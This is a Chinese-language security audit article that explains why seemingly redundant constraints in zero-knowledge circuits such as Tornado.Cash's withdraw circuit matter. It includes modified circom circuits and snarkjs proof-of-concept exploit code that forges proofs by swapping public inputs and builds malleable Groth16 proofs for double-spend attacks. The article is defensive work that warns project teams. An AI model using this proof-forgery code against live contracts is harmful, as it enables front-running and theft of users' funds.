ZKP項目方必讀：電路審計——冗余約束真的冗余嗎？

2023-09-20 16:09:35

本文作者：Beosin安全研究專家Saya & Bryce

1. 前言

ZKP（Zero-Knowledge Proof）項目主要包含鏈下電路、鏈上合約兩部分，其中電路部分由於涉及業務邏輯的約束抽象以及復雜的密碼學基礎知識，所以該部分是項目方實現的難點，同時也是安全人員的審計難點， 下面列舉一種容易被項目方忽視的安全案例 — “冗余約束”，目的是提醒項目方和用戶注意相關安全風險。

2. 冗余約束能刪除嗎

審計ZKP項目時，通常會見到如下奇怪約束，但很多項目方實際並不理解具體含義，為了降低電路復用的難度和節省鏈下計算消耗，可能會刪除部分約束，從而造成安全問題：

我們將上述代碼刪除前後生成的約束數量進行對比，發現在一個實際項目中有無上述約束，對項目約束總量的變化影響很小，因為它們很容易被項目方自動優化忽略

而實際上述電路的目的僅僅是為了在證明中附加一段數據，以Tornado.Cash為例附加的數據包括：接收者地址、中繼relayer地址、手續費等，由於這些信號不影響後續電路的實際計算，所以可能會讓部分其他項目方產生疑惑，從而將其從電路中刪除，導致部分用戶交易被搶跑。

下面將以簡單的隱私交易項目Tornado.Cash為例介紹這種攻擊，本文將電路中附加信息的相關信號和約束刪除後具體如下：

include "../../../../node_modules/circomlib/circuits/bitify.circom";  include "../../../../node_modules/circomlib/circuits/pedersen.circom";include "merkleTree.circom";
template CommitmentHasher() {    signal input nullifier;    signal input secret;    signal output commitment;    // signal output nullifierHash;
    component commitmentHasher = Pedersen(496);    // component nullifierHasher = Pedersen(248);    component nullifierBits = Num2Bits(248);    component secretBits = Num2Bits(248);
    nullifierBits.in <== nullifier;    secretBits.in <== secret;    for (var i = 0; i < 248; i++) {        // nullifierHasher.in[i] <== nullifierBits.out[i];        commitmentHasher.in[i] <== nullifierBits.out[i];        commitmentHasher.in[i + 248] <== secretBits.out[i];    }
    commitment <== commitmentHasher.out[0];    // nullifierHash <== nullifierHasher.out[0];}
// Verifies that commitment that corresponds to given secret and nullifier is included in the merkle tree of depositstemplate Withdraw(levels) {    signal input root;    // signal input nullifierHash;    signal output commitment;
    // signal input recipient; // not taking part in any computations    // signal input relayer;  // not taking part in any computations    // signal input fee;      // not taking part in any computations    // signal input refund;   // not taking part in any computations    signal input nullifier;    signal input secret;    // signal input pathElements[levels];    // signal input pathIndices[levels];
    component hasher = CommitmentHasher();    hasher.nullifier <== nullifier;    hasher.secret <== secret;    commitment <== hasher.commitment;    // hasher.nullifierHash === nullifierHash;    // component tree = MerkleTreeChecker(levels);
    // tree.leaf <== hasher.commitment;    // tree.root <== root;    // for (var i = 0; i < levels; i++) {    //     tree.pathElements[i] <== pathElements[i];    //     tree.pathIndices[i] <== pathIndices[i];    // }
    // Add hidden signals to make sure that tampering with recipient or fee will invalidate the snark proof    // Most likely it is not required, but it's better to stay on the safe side and it only takes 2 constraints    // Squares are used to prevent optimizer from removing those constraints    // signal recipientSquare;    // signal feeSquare;    // signal relayerSquare;    // signal refundSquare;
    // recipientSquare <== recipient * recipient;    // feeSquare <== fee * fee;    // relayerSquare <== relayer * relayer;    // refundSquare <== refund * refund;
}
component main = Withdraw(20);

為了便於理解，本文刪除了電路中校驗Merkle Tree和nullifierHash相關的部分，同時也將收款人地址等信息注釋。該電路生成的鏈上合約中，本文使用兩個不同的地址同時進行verify，可以發現兩個不同地址都可以通過校驗：

但是當將下面代碼添加到電路約束中時，可以發現只有電路中設置的recipient地址才能通過校驗：

signal input recipient; // not taking part in any computationssignal input relayer;  // not taking part in any computationssignal input fee;      // not taking part in any computationssignal input refund;   // not taking part in any computations
signal recipientSquare;signal feeSquare;signal relayerSquare;signal refundSquare;
recipientSquare <== recipient * recipient;recipientSquare <== recipient * recipient;feeSquare <== fee * fee;relayerSquare <== relayer * relayer;refundSquare <== refund * refund;

所以當Proof未與recipient綁定時，可以發現recipient的地址可以被隨意更換而zk proof都可以校驗通過，那么當用戶想從項目池中提款時就可能被MEV搶跑。下面是某隱私交易DApp的MEV搶跑攻擊示例：

3. 冗余約束的錯誤寫法

此外，電路中還有兩種常見的錯誤寫法，可能導致更加嚴重的雙花攻擊：一種是電路中設置了input信號，但是未對該信號進行約束，另一種是信號的多個約束之間存在线性依賴關系。下圖為Groth16算法常見的Prove和Verify計算流程：

Prover生成證明Proof π = ([A]1,[C]1,[B]2)：

Verifier接收到證明π[A、B、C]後經過如下驗證方程計算，如果成立則驗證通過，否則驗證不通過：

3.1 信號未參與約束

如果某個公共信號 Zi在電路中不存在任何約束，那么對於其約束j來說，下列式子值恆為0（其中 rj 是Verifier需要Prover計算的隨機挑战值）：

同時，這意味着對於Zi來說，任意的 x均有以下式子：

因此，驗證方程中下列式子針對信號 x 有：

由於驗證方程如下：

可以發現，無論 Zi 取任何值，該項計算的結果總是為0。

本文修改Tornado.Cash電路如下，可以看到該電路有1個公共輸入信號recipient，以及3個私有信號root、nullifier、secret，其中recipient在該電路中並不存在任何約束：

template Withdraw(levels) {    signal input root;    signal output commitment;
    signal input recipient; // not taking part in any computations    signal input nullifier;    signal input secret;
    component hasher = CommitmentHasher();    hasher.nullifier <== nullifier;    hasher.secret <== secret;    commitment <== hasher.commitment;}component main {public [recipient]}= Withdraw(20);

本文將在最新的snarkjs庫0.7.0版本上測試，將其隱式約束代碼刪除，以展示電路存在沒有約束信號時的雙花攻擊效果，核心exp代碼如下：

async function groth16_exp() {    let inputA = "7";    let inputB = "11";    let inputC = "9";    let inputD = "0x8db97C7cEcE249c2b98bDC0226Cc4C2A57BF52FC";
    await newZKey(        `withdraw2.r1cs`,        `powersOfTau28_hez_final_14.ptau`,        `withdraw2_0000.zkey`,    )
    await beacon(        `withdraw2_0000.zkey`,        `withdraw2_final.zkey`,        "Final Beacon",        "0102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f",        10,    )
    const verificationKey = await exportVerificationKey(`withdraw2_final.zkey`)    fs.writeFileSync(`withdraw2_verification_key.json`, JSON.stringify(verificationKey), "utf-8")
    let { proof, publicSignals } = await groth16FullProve({ root: inputA, nullifier: inputB, secret: inputC, recipient: inputD }, "withdraw2.wasm", "withdraw2_final.zkey");    console.log("publicSignals", publicSignals)    fs.writeFileSync(`public1.json`, JSON.stringify(publicSignals), "utf-8")    fs.writeFileSync(`proof.json`, JSON.stringify(proof), "utf-8")    verify(publicSignals, proof);
    publicSignals[1] = "4"    console.log("publicSignals", publicSignals)    fs.writeFileSync(`public2.json`, JSON.stringify(publicSignals), "utf-8")    verify(publicSignals, proof);}

可以看到生成的兩個Proof都通過了校驗：

3.2 线性依賴型約束

template Withdraw(levels) {    signal input root;    // signal input nullifierHash;    signal output commitment;
    signal input recipient; // not taking part in any computations    signal input relayer;  // not taking part in any computations    signal input fee;      // not taking part in any computations    // signal input refund;   // not taking part in any computations    signal input nullifier;    signal input secret;    // signal input pathElements[levels];    // signal input pathIndices[levels];
    component hasher = CommitmentHasher();    hasher.nullifier <== nullifier;    hasher.secret <== secret;    commitment <== hasher.commitment;    signal input Square;
    // recipientSquare <== recipient * recipient;    // feeSquare <== fee * fee;    // relayerSquare <== relayer * relayer;    // refundSquare <== refund * refund;    35 * Square === (2*recipient + 2*relayer + fee + 2) * (relayer + 4);}
component main {public [recipient,Square]}= Withdraw(20);

上述電路可能導致雙花攻擊，具體的exp核心代碼如下：

const buildMalleabeC = async (orignal_proof_c, publicinput_index, orginal_pub_input, new_public_input, l) => {    const c = unstringifyBigInts(orignal_proof_c)    const { fd: fdZKey, sections: sectionsZKey } = await readBinFile("tornadocash_final.zkey", "zkey", 2, 1 << 25, 1 << 23)    const buffBasesC = await readSection(fdZKey, sectionsZKey, 8)    fdZKey.close()
    const curve = await buildBn128();    const Fr = curve.Fr;    const G1 = curve.G1;    const new_pi = new Uint8Array(Fr.n8);    Scalar.toRprLE(new_pi, 0, new_public_input, Fr.n8);
    const matching_pub = new Uint8Array(Fr.n8);    Scalar.toRprLE(matching_pub, 0, orginal_pub_input, Fr.n8);
    const sGIn = curve.G1.F.n8 * 2    const matching_base = buffBasesC.slice(publicinput_index * sGIn, publicinput_index * sGIn + sGIn)    const linear_factor = Fr.e(l.toString(10))    const delta_lf = Fr.mul(linear_factor, Fr.sub(matching_pub, new_pi));    const p = await curve.G1.timesScalar(matching_base, delta_lf);    const affine_c = G1.fromObject(c);
    const malleable_c = G1.toAffine(G1.add(affine_c, p))    return stringifyBigInts(G1.toObject(malleable_c))}